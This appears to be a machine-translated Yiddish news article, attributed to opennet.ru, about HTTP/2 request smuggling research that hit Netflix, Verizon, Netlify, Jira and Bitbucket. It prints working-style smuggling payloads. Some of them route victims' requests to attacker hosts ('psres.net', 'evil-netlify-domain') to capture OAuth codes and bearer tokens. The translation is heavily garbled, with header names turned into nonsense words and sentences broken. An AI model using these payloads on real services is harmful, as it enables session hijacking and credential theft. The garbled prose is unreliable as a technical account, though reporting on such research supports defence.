ืืืขื ืกืืกืืขืืขื ืืื ืืืึธืก ืื ืคืจืึธื ื ืกืืฃ ืึทืงืกืขืคึผืฅ ืงืึทื ืขืงืฉืึทื ื ืืืจื ืืืืคึผ / 2 ืืื ืืจืึทื ืกืืืืืขื ืืื ืฆื ืื ืืึทืงืขื ื ืืืจื ืืืืคึผ / 1.1 ืืึธืื ืฉืืื ืืงืกืคึผืึธืืื ืฆื ืึท ื ืืึทืข ืืืึทืจืืึทื ื ืคืื ืื "HTTP ืืขืื ืกืืึทืืืื ื" ืืึทืคืึทืื, ืืืึธืก ืึทืืึทืื, ืืืจื ืฉืืงื ืกืคึผืขืฆืืขื ืืืืืื ื ืงืืืขื ื ืจืืงืืืขืก, ืฆื ืืืขืืืฉ ืืื ืื ืืื ืืึทืื ืคืื ืจืืงืืืขืก ืคืื ืื ืืขืจืข ืืืืขืจื ืคึผืจืึทืกืขืกื ืืื ืืขืจ ืืขืืืืงืขืจ ืืืืคื ืฆืืืืฉื ืคืจืึธื ืืขื ื ืืื ืืึทืงืขื ื. ืื ืืึทืคืึทืื ืงืขื ืขื ืืืขืจื ืืขื ืืฆื ืฆื ืึทืจืืึทื ืืืืื ืืืืืข ืืืฉืึทืืืึทืกืงืจืืคึผื ืงืึธื ืืื ืึท ืกืขืกืืข ืืื ืึท ืืึทืืืฉืืืึทืืึทื ืืืขืืืืืื, ืืืืคึผืึทืก ืึทืงืกืขืก ืจืืกืืจืืงืฉืึทื ืกืืกืืขืืขื ืืื ืื ืืขืจืกืขืคึผื ืึธืืขื ืืึทืงืืืฉืึทื ืคึผืึทืจืึทืืขืืขืจืก.
ืื ืคึผืจืึธืืืขื ืึทืคืขืงืฅ ืืืขื ืคึผืจืึทืงืกืื, ืืึทืกืข ืืึทืืึทื ืกืขืจื, ืืืขื ืึทืงืกืขืืขืจืืืืขืจื, ืืื ืืึทืื ืขืงืกืคึผืจืขืก ืกืืกืืขืืขื ืืื ืื ืืขืจืข ืงืึทื ืคืืืืขืจืืืฉืึทื ื ืืื ืืืึธืก ืจืืงืืืขืก ืืขื ืขื ืจืืืขืจืขืงืืื ืืื ืึท ืคืจืึธื ื-ืกืืฃ-ืฆื-ืืึทืงืขื ื ืฉืืืืืขืจ. ืืขืจ ืืืืจ ืคืื ืืขืจ ืืขืจื ืขื ืืขืืึทื ืกืืจืืืืื ืื ืืขืืืขืืงืืื ืคืื ืึทืืึทืงืื ื ืื ืกืืกืืขืืขื ืคืื Netflix, Verizon, Bitbucket, Netlify CDN ืืื Atlassian, ืืื ืืืงืืืขื 56 ืืืืื ื ืืึธืืืึทืจืก ืืื ืืึทืืืื ืื ื ืืืืื ืคึฟืึทืจ ืืืขื ืืืคืืื ื ืืืึทืื ืขืจืึทืืืืืืื. ืืขืจ ืคึผืจืึธืืืขื ืืื ืืืื ืืืฉืืขืืืงื ืืื F5 ื ืขืืืืึธืจืงืก ืคึผืจืึธืืืงืื. ืืขืจ ืคึผืจืึธืืืขื ืืืื ืึทืคืขืงืฅ ืืึธื_ืคึผืจืึธืงืกื ืืื ืื ืึทืคึผืึทืืฉื ืืืืคึผ ืกืขืจืืืขืจ (CVE-2021-33193), ืึท ืคืึทืจืจืืืื ืืื ืืขืจืืืึทืจื ืืื ืืืขืจืกืืข 2.4.49 (ืื ืืขืืืขืืึธืคึผืขืจืก ืืขื ืขื ื ืึธืืืึทืคืืื ืคืื ืืขื ืคึผืจืึธืืืขื ืืื ืคืจื ืืื ืืื ืืื ืืึธืื 3 ืืืฉืื ืฆื ืคืึทืจืจืืืื ืขืก). ืืื nginx, ืื ืคืืืืงืืื ืฆื ืกืืืืึทืืืืื ืืึทืกืื ืกืคึผืขืฆืืคืืฆืืจื ืื "ืืื ืืึทืื-ืืขื ื" ืืื "ืืจืึทื ืกืคืขืจ-ืขื ืงืึธืืื ื" ืืขืืขืจื ืืื ืืคืืขืฉืืขืื ืืื ืื ืืขืฆืืข ืืขืืืื ื (1.21.1). ืึทืืึทืง ืืืฉืืจืื ืืขื ืขื ืฉืืื ืึทืจืืึทื ืืขืจืขืื ื ืืื ืื ืืขืจืคึผ ืืึธืึธืืงืื ืืื ืืขื ืขื ืื ืืืฆื ืืื ืื ืคืึธืจืขื ืคืื ืื ืืืจืืึธ ืื ืืจืืืขืจ ืคืึทืจืืขื ืืขืจืื ื.
ืืขืจ ืคึผืจืื ืฆืืคึผ ืคืื ืึธืคึผืขืจืึทืฆืืข ืคืื โโืื ื ืืึทืข ืืืคึฟื ืคืื ืืืขืืืฉืื ื ืจืืงืืืขืก ืืื ืคืึทืจืงืขืจ ืืื ืขื ืืขื ืฆื ืื ืืืึทืื ืขืจืึทืืืืืื ืืืืขื ืึทืคืืื ืืืจื ืืขืจ ืืขืืืืงืขืจ ืคืึธืจืฉืขืจ ืืื ืฆืืืื ืืึธืจ ืฆืืจืืง, ืึธืืขืจ ืืืืืืขื ืฆื ืคืจืึธื ืืขื ืืก ืืืึธืก ืึธื ื ืขืืขื ืจืืงืืืขืก ืืืืขืจ ืืืืคึผ / 1.1. ืืึธืืืจ ืฆืืจืืงืจืืคื ืึทื ืืื ืื ืคืจืึธื ืืขื ื-ืืึทืงืขื ื ืกืืขืืข, ืงืืืขื ื ืจืืงืืืขืก ืืขื ืขื ืืืงืืืขื ืืืจื ืึทื ื ืึธื ื ืึธืืข - ืื ืคืจืึธื ืืขื ื, ืืืึธืก ืืกืืึทืืืืฉืื ืึท ืืึทื ื-ืืขืืขืื ืืงืคึผ ืงืฉืจ ืืื ืื ืืึทืงืขื ื, ืืืึธืก ืืืืื ืคึผืจืึทืกืขืกืึทื ืจืืงืืืขืก. ืืืจื ืืขื ืคึผืจืึธืกื ืคึฟืึทืจืืื ืืื ื, ืจืืงืืืขืก ืคืื ืคืึทืจืฉืืืขื ืข ื ืืฆืขืจืก ืืขื ืขื ืืืืฉืึทืืืึทืื ืืจืึทื ืกืืืืืขื, ืืืึธืก ื ืึธืืคืึธืืื ืื ืงืืื ืืืื ืขืจ ื ืึธื ืืขื ืื ืืขืจื, ืืคืืขืฉืืืื ืืืจื ืืืื ืคืื ืื ืืืืคึผ ืคึผืจืึธืืึธืงืึธื.
ืืขืจ ืงืืึทืกืืฉ "HTTP Request Smuggling" ืืึทืคืึทืื ืืื ืืืืืจื ืืืืฃ ืื ืคืึทืงื ืึทื ืคืจืึธื ืืขื ืืก ืืื ืืึทืงืขื ืืก ืืืึทืืฉื ืื ื ืืฆื ืคืื HTTP ืืขืืขืจื "ืืื ืืึทืื-ืืขื ื" (ืืืืขืจืืึทื ื ืื ืืึทื ืฅ ืืจืืืก ืคืื ืื ืืึทืื ืืื ืื ืืขืื) ืืื "ืืจืึทื ืกืคืขืจ-ืขื ืงืึธืืื ื: ืืฉืึทื ืืงื" (ืึทืืึธืื ืืึทืื ืฆื ืืืื ืืจืึทื ืกืคืขืจื ืืื ืคึผืึทืจืฅ) ืึทื ืืขืจืฉ. . ืฆืื ืืืืฉืคึผืื, ืืืื ืืขืจ ืคืจืึธื ืืขื ื ืฉืืืฆื ืืืืื "ืืื ืืึทืื-ืืขื ื" ืึธืืขืจ ืืืื ืึธืจืืจื "Transfer-Encoding: Chunked", ืึท ืึทืืึทืงืขืจ ืงืขื ืฉืืงื ืึท ืืงืฉื ืืืึธืก ืึผืืื ืืืืืข ืื "ืืื ืืึทืื-ืืขื ื" ืืื "Transfer-Encoding: Chunked" ืืขืืขืจื, ืึธืืขืจ ืื ืืจืืืก ืืื "ืืื ืืึทืื-ืืขื ื" ืืื ื ืืฉื ืืืืึทืื ืื ืืจืืืก ืคืื ืื ืืฉืึทื ืืงื ืงืืื. ืืื ืืขื ืคืึทื, ืื ืคืจืึธื ืืขื ื ืืืขื ืคึผืจืึธืฆืขืก ืืื ืจืืืขืจืขืงื ืื ืืขืื ืืื ืืืื ืืื "ืืื ืืึทืื-ืืขื ื", ืืื ืื ืืึทืงืขื ื ืืืขื ืืืึทืจืื ืคึฟืึทืจ ืื ืงืึทืืคึผืืืฉืึทื ืคืื ืื ืืืึธืง ืืืืืจื ืืืืฃ "ืืจืึทื ืกืคืขืจ-ืขื ืงืึธืืื ื: ืืฉืึทื ืืงื" ืืื ืื ืจืืขื ืขืง ืคืื ืื ืึทืืึทืงืขืจ ืก ืืงืฉื ืืืขื ืืืื ืืื ืื ืึธื ืืืื ืคืื ืขืืขืฆืขืจ ืึทื ืืขืจืฉ ืก ืืงืฉื ืืจืึทื ืกืืืืืขื ืืืืึทืืขืจ.
ื ืื ืขื ืืขื ืืขื ืืขืงืกื ืคึผืจืึธืืึธืงืึธื ืืืืคึผ / 1.1, ืืืึธืก ืืื ืคึผืึทืจืกืขื ืืืืฃ ืื ืฉืืจื ืืืจืื, ืืืืคึผ / 2 ืืื ืึท ืืืื ืขืจื ืคึผืจืึธืืึธืงืึธื ืืื ืืึทื ืืคึผืืึทืืืืฅ ืืึทืื ืืืึทืงืก ืคืื ืึท ืคืึทืจ-ืกืคึผืขืกืืคืืขื ืืจืืืก. ืึธืืขืจ, HTTP / 2 ื ืืฆื ืคึผืกืขืืืืึธ-ืืขืืขืจืก ืืืึธืก ืฉืืืืขื ืฆื ืจืขืืืืขืจ ืืืืคึผ ืืขืืขืจื. ืืื ืืขื ืคืึทื ืคืื ืื ืืขืจืึทืงืฉืึทื ืืื ืื ืืึทืงืขื ื ืืืจื ืื ืืืืคึผ / 1.1 ืคึผืจืึธืืึธืงืึธื, ืื ืคืจืึธื ืืขื ื ืืจืึทื ืกืืืืฅ ืื ืคึผืกืขืืืืึธ-ืืขืืขืจืก ืืื ืขื ืืขื ืืืืคึผ ืืขืืขืจื ืืืืคึผ / 1.1. ืืขืจ ืคึผืจืึธืืืขื ืืื ืึทื ืื ืืึทืงืขื ื ืืืื ืืืกืืืฉืึทื ื ืืืขืื ืคึผืึทืจืกืื ื ืืขื ืืืึทื ืืืืืจื ืืืืฃ ืื HTTP ืืขืืขืจื ืฉืืขืื ืืืจื ืื ืคืจืึธื ืืขื ื, ืึธื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืื ืคึผืึทืจืึทืืขืืขืจืก ืคืื ืืขืจ ืึธืจืืืื ืขื ืืขืื.
ืืื ืืึทืืื ืืขืจ, ืื ืืืึทืืืขืก "ืืื ืืึทืื-ืืขื ื" ืืื "ืึทืจืืืขืจืคืืจื-ืขื ืงืึธืืื ื" ืงืขื ืขื ืืืื ืืจืึทื ืกืืืืืขื ืืื ืื ืคืึธืจืขื ืคืื ืคึผืกืขืืืืึธ-ืืขืืขืจืก, ืืจืึธืฅ ืืขื ืคืึทืงื ืึทื ืืื ืืขื ืขื ื ืืฉื ืืขื ืืฆื ืืื ืืืืคึผ / 2, ืืืืึทื ืื ืืจืืืก ืคืื ืึทืืข ืืึทืื ืืื ืืืฉืืืกื. ืืื ืึท ืืึทืืื ืืขืจ ืคืขืื. ืึธืืขืจ, ืืขืฉืึทืก ืืขื ืคึผืจืึธืฆืขืก ืคืื ืงืึทื ืืืขืจืืื ื ืึท HTTP / 2 ืืขืื ืฆื HTTP / 1.1, ืื ืืขืืขืจื ืืขื ืขื ืืขืคืืจื ืืืืขืจ ืืื ืงืขื ืขื ืฆืขืืืฉื ืื ืืึทืงืขื ื. ืขืก ืืขื ืขื ืฆืืืื ืืืืคึผื ืืึทืคืึทืื ืืืขืจืืึทื ืฅ: H2.TE ืืื H2.CL, ืืื ืืืึธืก ืื ืืึทืงืขื ื ืืื ืคืึทืจืคืืจื ืืืจื ืึท ืคืึทืืฉ ืึทืจืืืขืจืคืืจื-ืขื ืงืึธืืื ื ืึธืืขืจ ืืื ืืึทืื-ืืขื ื ืืืขืจื ืืืึธืก ืฉืืืืขื ื ืืฉื ืฆื ืื ืคืึทืงืืืฉ ืืจืืืก ืคืื ืื ืืขืื ืืืฃ ืืืงืืืขื ืืืจื ืื ืคืจืึธื ืืขื ื ืืืจื ืื. ืืืืคึผ / 2 ืคึผืจืึธืืึธืงืึธื.
ืึท ืืืืฉืคึผืื ืคืื ืึท H2.CL ืืึทืคืึทืื ืืื ืฆื ืกืคึผืขืฆืืคืืฆืืจื ืึท ืคืึทืืฉ ืืจืืืก ืืื ืื ืืื ืืึทืื-ืืขื ื ืคึผืกืขืืืืึธ-ืืขืืขืจ ืืืขื ืฉืืงื ืึท HTTP/2 ืืขืื ืฆื Netflix. ืื ืืขืื ืคืืจื ืฆื ืื ืึทืืืฉืึทื ืคืื ืึท ืขื ืืขื ืืืืคึผ ืืขืืขืจ ืืื ืืึทืื-ืืขื ืืื ืืืขื ืึทืงืกืขืกืื ื ืื ืืึทืงืขื ื ืืืจื ืืืืคึผ / 1.1, ืึธืืขืจ ืืื ื ืื ืืจืืืก ืืื ืืื ืืึทืื-ืืขื ื ืืื ืกืคึผืขืกืืคืืขื ืืืืื ืืงืขืจ ืืื ืื ืคืึทืงืืืฉ, ืืืื ืคืื ืื ืืึทืื ืืื ืื ืขืง ืืื ืคึผืจืึทืกืขืกื ืืื ืื ืขืง. ืึธื ืืืื ืคืื ืืขืจ ืืืืึทืืขืจ ืืงืฉื.
ืคึฟืึทืจ ืืืึทืฉืคึผืื, ืืขืื ืืืืคึผ / 2 : ืืขืืึธื POST : ืืจื / ืขื : ืืืืืึธืจืืืขื www.netflix.com ืืื ืืึทืื-ืืขื ื 4 abcdGET / n ืืืืคึผ / 1.1 ืืึธืกื: 02.rs?x.netflix.com Foo: ืืึทืจ
ืืืขื ืจืขืืืืืึทื ืืื ืึท ืืขืื ืืขืฉืืงื ืฆื ืื ืืึทืงืขื ื: POST /n HTTP/1.1 ืืึธืกื: www.netflix.com ืืื ืืึทืื-ืืขื ื: 4 abcdGET /n HTTP/1.1 ืืึธืกื: 02.rs?x.netflix.com Foo: ืืึทืจ
ืืื ื ืืื ืืึทืื-ืืขื ื ืืื ืึท ืืืขืจื ืคืื 4, ืื ืืึทืงืขื ื ืืืขื ืึธื ื ืขืืขื ืืืืื "ืึทืืงื" ืืื ืืขืจ ืืืฃ ืคืื ืื ืืขืื, ืืื ืื ืจืขืฉื ืคืื "GET / n ืืืืคึผ / 1.1 ..." ืืืขื ืืืื ืคึผืจืึทืกืขืกื ืืื ืื ืึธื ืืืื ืคืื ืึท ืกืึทืืกืึทืงืืืึทื ื ืืขืื. ืคึฟืึทืจืืื ืื ืืื ืื ืื ืืขืจ ืืึทื ืืฆืขืจ. ืึทืงืงืึธืจืืื ืืื, ืืขืจ ืืืึทื ืืืขื ืืืขืจื ืืขืกืื ืืฉืจืึธื ืืืขื ืืื ืืื ืขื ืืคืขืจ ืฆื ืืขืจ ืืืืึทืืขืจ ืืงืฉื, ืืขืจ ืจืขืืืืืึทื ืคืื ืคึผืจืึทืกืขืกืื ื ืื ืืึธืง ืืขืื ืืืขื ืืืื ืืจืืืก. ืืื ืืขื ืคืึทื ืคืื Netflix, ืกืคึผืขืฆืืคืืฆืืจื ืึท ืืจืื-ืคึผืึทืจืืื ืืึทืืขืืึธืก ืืื ืื "ืืึธืกื:" ืืขืืขืจ ืืื ืึท ืืึธืง ืืขืื ืจืืืึทืืืื ืืื ืืขืจ ืงืืืขื ื ืฆืืจืืงืงืืืขื ืื ืขื ืืคืขืจ "ืึธืจื: https://02.rs?x.netflix.com/n" ืืื ืืขืจืืืืื ืึทืจืืืืจืึทืจืืฉ ืืื ืืึทืื ืฆื ืืืื ืืขืฉืืงื ืฆื ืืขื ืงืืืขื ื, ืึทืจืืึทื ืืขืจืขืื ื ืืืืคื ืืืื ืืืฉืึทืืืึทืกืงืจืืคึผื ืงืึธื ืืื ืืขื ืงืึธื ืืขืงืกื ืคืื ืื Netflix ืคึผืืึทืฅ.
ืื ืจืืข ืืึทืคืึทืื ืึธืคึผืฆืืข (H2.TE) ืื ืืืึทืืืื ืกืึทืืกืืืืืฉืึทื ืคืื ืื "ืืจืึทื ืกืคืขืจ-ืขื ืงืึธืืื ื: ืืฉืึทื ืืงื" ืืขืืขืจ. ืื ื ืืฆื ืคืื ืื ืึทืจืืืขืจืคืืจื-ืขื ืงืึธืืื ื ืคึผืกืขืืืืึธ-ืืขืืขืจ ืืื ืืืืคึผ / 2 ืืื ืคึผืจืึธืืืืืึทืืึทื ืืืจื ืื ืกืคึผืขืกืืคืืงืึทืืืึธื ืืื ืจืืงืืืขืก ืืื ืขืก ืืขื ืขื ืคึผืจืืกืงืจืืืื ืฆื ืืืื ืืืืื ืืื ืืื ืคืึทืืฉ. ืืจืึธืฅ ืืขื, ืขืืืขืืข ืคืจืึธื ืืขื ื ืืืคึผืืึทืืึทื ืฅ ืืึธื ื ืื ื ืขืืขื ืืขื ืคืึธืืขืจืื ื ืืื ืืฉืืื ืืื ืืึธืื ืื ื ืืฆื ืคืื ืึท ืึทืจืืืขืจืคืืจื-ืขื ืงืึธืืื ื ืคึผืกืขืืืืึธ-ืืขืืขืจ ืืื ืืืืคึผ / 2, ืืืึธืก ืืื ืงืึธื ืืืขืจืืขื ืืื ืึท ืขื ืืขื ืืืืคึผ ืืขืืขืจ. ืืืื ืขืก ืืื ืึท "ืืจืึทื ืกืคืขืจ-ืขื ืงืึธืืื ื" ืืขืืขืจ, ืื ืืึทืงืขื ื ืงืขื ืขื ื ืขืืขื ืขืก ืืื ืึท ืืขืืขืจ ืืืืืขืจืงืืึทื ืืื ืคึผืึทืจืก ืื ืืึทืื ืฉืืืง ืคึฟืึทืจ ืฉืืืง ืืื "ืืฉืื ืงื" ืืึธืืข ื ืืฆื ืืืึทืงืก ืคืื ืคืึทืจืฉืืืขื ืข ืกืืืขืก ืืื ืื ืคึฟืึธืจืืึทื "{ืืจืืืก}\r\n{ืืืึธืง }\r\n{ืืจืืืก} \r\n{ืืืึธืง}\r\n0", ืืจืึธืฅ ืื ืขืจืฉื ืึธืคึผืืืื ืืืื ืื ืงืืืืขืืืืง ืืจืืืก.
ืื ืืืึทืืืึทื ืคืื ืึทืืึท ืึท ืจืืก ืืื ืืขืืึทื ืกืืจืืืืื ืืืจื ืื ืืืึทืฉืคึผืื ืคืื Verizon. ืืขืจ ืคึผืจืึธืืืขื ืืื ืืขืืืขื ืื ืึธืืขื ืืึทืงืืืฉืึทื ืืืืขืจ ืืื ืืื ืืึทืื ืคืึทืจืืืึทืืืื ื ืกืืกืืขื, ืืืึธืก ืืื ืืืื ืืขื ืืฆื ืืืืฃ ืืืืืืขื ืึทืืึท ืืื Huffington Post ืืื Engadget. ืคึฟืึทืจ ืืืึทืฉืคึผืื, ืึท ืงืืืขื ื ืืขืื ืืืจื ืืืืคึผ / 2: : ืืขืืึธื POST : ืืจื /identitfy/XUI : ืืืืืึธืจืืืขื id.b2b.oath.com ืึทืจืืืขืจืคืืจื-ืขื ืงืึธืืื ื ืืฉืึทื ืืงื 0 GET /oops HTTP/1.1 ืืึธืกื: psres.net ืืื ืืึทืื-ืืขื ื: 10 x=
ืจืืืึทืืืื ืืื ืฉืืงื ืึทื ืืืืคึผ/1.1 ืืขืื ืฆื ืื ืืึทืงืขื ื: POST /identity/XUI HTTP/1.1 ืืึธืกื: id.b2b.oath.com ืืื ืืึทืื-ืืขื ื: 66 ืึทืจืืืขืจืคืืจื-ืขื ืงืึธืืื ื: ืืฉืึทื ืืงื 0 ืืึทืงืืืขื /ืึธืึธืคึผืก ืืืืคึผ/1.1 ืืึธืกื: psres. ื ืขืฅ ืืื ืืึทืื- ืืขื ื: 10x=
ืื ืืึทืงืขื ื, ืืื ืงืขืจ, ืืืื ืึธืจืืจื ืื "ืืื ืืึทืื-ืืขื ื" ืืขืืขืจ ืืื ืืืจืืืขืงืึธืื ืืื-ืกืืจืื ืกืคึผืืืืื ื ืืืืืจื ืืืืฃ "ืืจืึทื ืกืคืขืจ-ืขื ืงืึธืืื ื: ืืฉืึทื ืืงื". ืืื ืคืืจ, ืื ืืึทืคืึทืื ืืขืืืื ืขืก ืืขืืืขื ืฆื ืจืืืขืจืขืงื ืืึทื ืืฆืขืจ ืจืืงืืืขืก ืฆื ืืืืขืจ ืืืขืืืืืื, ืึทืจืืึทื ืืขืจืขืื ื ืื ืืขืจืกืขืคึผืืื ื ืจืืงืืืขืก ืฉืืึทืืืช ืฆื OAuth ืึธืืขื ืืึทืงืืืฉืึทื, ืื ืคึผืึทืจืึทืืขืืขืจืก ืคืื ืืืึธืก ืืขื ืขื ืืขืืืืื ืืื ืื ืจืขืคืขืจืขืจ ืืขืืขืจ, ืืื ืืืื ืกืืืืึทืืืืืื ื ืึทื ืึธืืขื ืืึทืงืืืฉืึทื ืกืขืกืืข ืืื ืืจืืืขืจืื ื ืื ืืึทื ืืฆืขืจ ืก ืกืืกืืขื ืฆื ืฉืืงื ืงืจืึทืืขื ืืฉืึทืื ืฆื ืื ืึทืืึทืงืขืจื ืืึทืืขืืึธืก. ืืึทืงืืืขื /b2blanding/show/oops ืืืืคึผ/1.1 ืืึธืกื: psres.net ืจืขืคืขืจืขืจ: https://id.b2b.oath.com/?โฆ&code=secret ืืึทืงืืืขื / ืืืืคึผ/1.1 ืืึธืกื: psres.net ืืขืจืืืืืขื ืืฉ: ืืจืขืืขืจ eyJhcGwiOiJIUzI1Gi1sInR6cCI6โฆ
ืฆื ืืึทืคืึทืื ืืืืคึผ / 2 ืืืคึผืืึทืืึทื ืฅ ืืืึธืก ืืึธื ื ืื ืืึธืื ืื ืึทืจืืืขืจืคืืจื-ืขื ืงืึธืืื ื ืคึผืกืขืืืืึธ-ืืขืืขืจ ืฆื ืืืื ืกืคึผืขืกืืคืืขื, ืื ืื ืืขืจ ืืืคึฟื ืืื ืคืืจืืขืืืืื ืืืึธืก ืื ืืืึทืืืื ืกืึทืืกืืืืืฉืึทื ืคืื ืื "ืืจืึทื ืกืคืขืจ-ืขื ืงืึธืืื ื" ืืขืืขืจ ืืืจื ืึทืืึทืืฉืื ื ืขืก ืฆื ืื ืืขืจืข ืคึผืกืขืืืืึธ-ืืขืืขืจืก ืืคืืขืฉืืืื ืืืจื ืึท ื ืขืืืืืื ืืึทืจืึทืงืืขืจ ( ืืืขื ืงืึธื ืืืขืจืืขื ืฆื ืืืืคึผ / 1.1 ืืื ืืขื ืคืึทื ืงืจืืืืฅ ืฆืืืื ืืึทืืื ืืขืจ ืืืืคึผ ืืขืืขืจื).
ืคึฟืึทืจ ืืืึทืฉืคึผืื, Atlassian Jira ืืื Netlify CDN (ืืขืืืืื ื ืฆื ืืื ืขื ืื ืืึธืืืืืึท ืึธื ืืืื ืืืึทื ืืื ืคืืจืขืคืึธืงืก) ืืขื ืขื ืึทืคืขืงืืึทื ืืืจื ืืขื ืคึผืจืึธืืืขื. ืกืคึผืึทืกืืคืืงืื, ืื ืืืืคึผ/2 ืืขืื: ืืขืืึธื POST: ืืจื /: ืืืืืึธืจืืืขื start.mozilla.org foo b\r\n ืึทืจืืืขืจืคืืจื-ืขื ืงืึธืืื ื: ืืฉืึทื ืืงื 0\r\n \r\n ืืึทืงืืืขื / ืืืืคึผ/1.1\r\n ืืึธืกื : evil-netlify-domain\r\n ืืื ืืึทืื-ืืขื ื: 5\r\n \r\nx=
ืจืืืึทืืืื ืืื ืืืืคึผ / 1.1 POST / HTTP / 1.1 ืืขืื ืืขืฉืืงื ืฆื ืื ืืึทืงืขื ื \ r\ n ืืึธืกื: start.mozilla.org \ r\n Foo: b \ r\n ืึทืจืืืขืจืคืืจื-ืขื ืงืึธืืื ื: ืืฉืึทื ืืงื \ r\n ืืื ืืึทืื-ืืขื ื : 71\ r\n \r\n 0\r\n \r\n ืืึทืงืืืขื / ืืืืคึผ/1.1\r\n ืืึธืกื: evil-netlify-domain\r\n ืืื ืืึทืื-ืืขื ื: 5\r\n \r \nx=
ืื ืื ืืขืจ ืึธืคึผืฆืืข ืฆื ืคืึทืจืืืึทืื ืื "ืืจืึทื ืกืคืขืจ-ืขื ืงืึธืืื ื" ืืขืืขืจ ืืื ืฆื ืฆืืืฉืขืคึผืขื ืขืก ืฆื ืื ื ืึธืืขื ืคืื ืื ืื ืืขืจ ืคึผืกืขืืืืึธ-ืืขืืขืจ ืึธืืขืจ ืฆื ืึท ืฉืืจื ืืื ืึท ืืขืื ืืืคึฟื. ืคึฟืึทืจ ืืืึทืฉืคึผืื, ืืืขื ืึทืงืกืขืกืื ื Atlassian Jira, ืื ืคึผืกืขืืืืึธ-ืืขืืขืจ ื ืึธืืขื "foo:bar\r\ntransfer-encoding" ืืื ืื ืืืขืจื "ืืฉืื ืงืขื" ืืขืคึฟืืจื ืื ืืืืคึผ ืืขืืขืจื "foo:bar" ืืื "transfer-encoding: chunked" ืฆื ืืืื ืฆืืืขืืขืื. , ืืื ืกืคึผืขืฆืืคืืฆืืจื ืคึผืกืขืืืืึธ-ืืขืืขืจ ":ืืขืืึธื" ืืืขืจื "GET / HTTP/1.1\r\nTransfer-encoding: chunked" ืืื ืืืืขืจืืขืืขืฆื ืฆื "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
ืืขืจ ืคืึธืจืฉืขืจ ืืืึธืก ืืึธื ืืืืขื ืืืคืืฆืืจื ืืขื ืคืจืืืืขื ืืึธื ืืืื ืคืืจืืขืืืืื ื ืืขืื ืืง ืคืืจ ืืื ื ืขืื ืคืืจ ืืขืื ืฆื ืืืืงืขื ืคืจืื ืืขื ืืก, ืืื ืืืขืืืข ืืขืืข IP ืึทืืจืขืก ืืจืื ืื ื ืืืืื ืืขืจืข ืคืืจืืื ืืื ื ืฆื ืื ืืึทืงืขื ื ืืื ืคืึทืจืงืขืจ ืคืื ืคืึทืจืฉืืืขื ืข ืืืืขืจื ืืื ื ืืฉื ืืขืืืฉื. ืื ืคืืจืืขืืืืื ืืขืื ืืง ืืื ื ืืฉื ืืึธืื ืื ืืขืจืคืืจืื ื ืืื ืจืืงืืืขืก ืคืื ืื ืืขืจืข ืืืืขืจื, ืึธืืขืจ ืืืื ืขืก ืืขืืืขื ืฆื ืกื ืึท ืฉืขืจื ืงืึทืฉ ืืืึธืก ืึทืคืขืงืฅ ืื ืคึผืจืึทืกืขืกืื ื ืคืื ืื ืืขืจืข ืจืืงืืืขืก, ืืื ืึทืืึทืื ืื ืกืึทืืกืืืืืฉืึทื ืคืื ืื ืขืจืืขื ืืืืคึผ ืืขืืขืจื ืืขื ืืฆื ืฆื ืึทืจืืืขืจืคืืจื ืกืขืจืืืืก ืืื ืคึฟืึธืจืืึทืฆืืข ืคืื โโืื ืคืจืึธื ืืขื ื ืฆื ืื ืืึทืงืขื ื ( ืคึฟืึทืจ ืืืึทืฉืคึผืื, ืืืขื ืึธืืขื ืืึทืงืืืืื ื ืืืืฃ ืื ืคืจืึธื ืืขื ื ืืืึทื ืืื ืึทืืึท ืืขืืขืจื ืงืขื ืขื ืืืขืจืฉืืงื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืืขื ืงืจืึทื ื ืืึทื ืืฆืขืจ ืฆื ืื ืืึทืงืขื ื). ืืื ืึท ืืืืฉืคึผืื ืคืื ืึทืคึผืืืืื ื ืืขื ืืืคึฟื ืืื ืคืืจ, ื ืืฆื ืงืึทืฉ ืคืึทืจืกืึทืืื ื, ืขืก ืืื ืืขืืืขื ืฆื ืืึทืงืืืขื ืงืึธื ืืจืึธื ืืืืขืจ ืืืขืืขืจ ืืื ืื Bitbucket ืืื ืกื.
ืืงืืจ: opennet.ru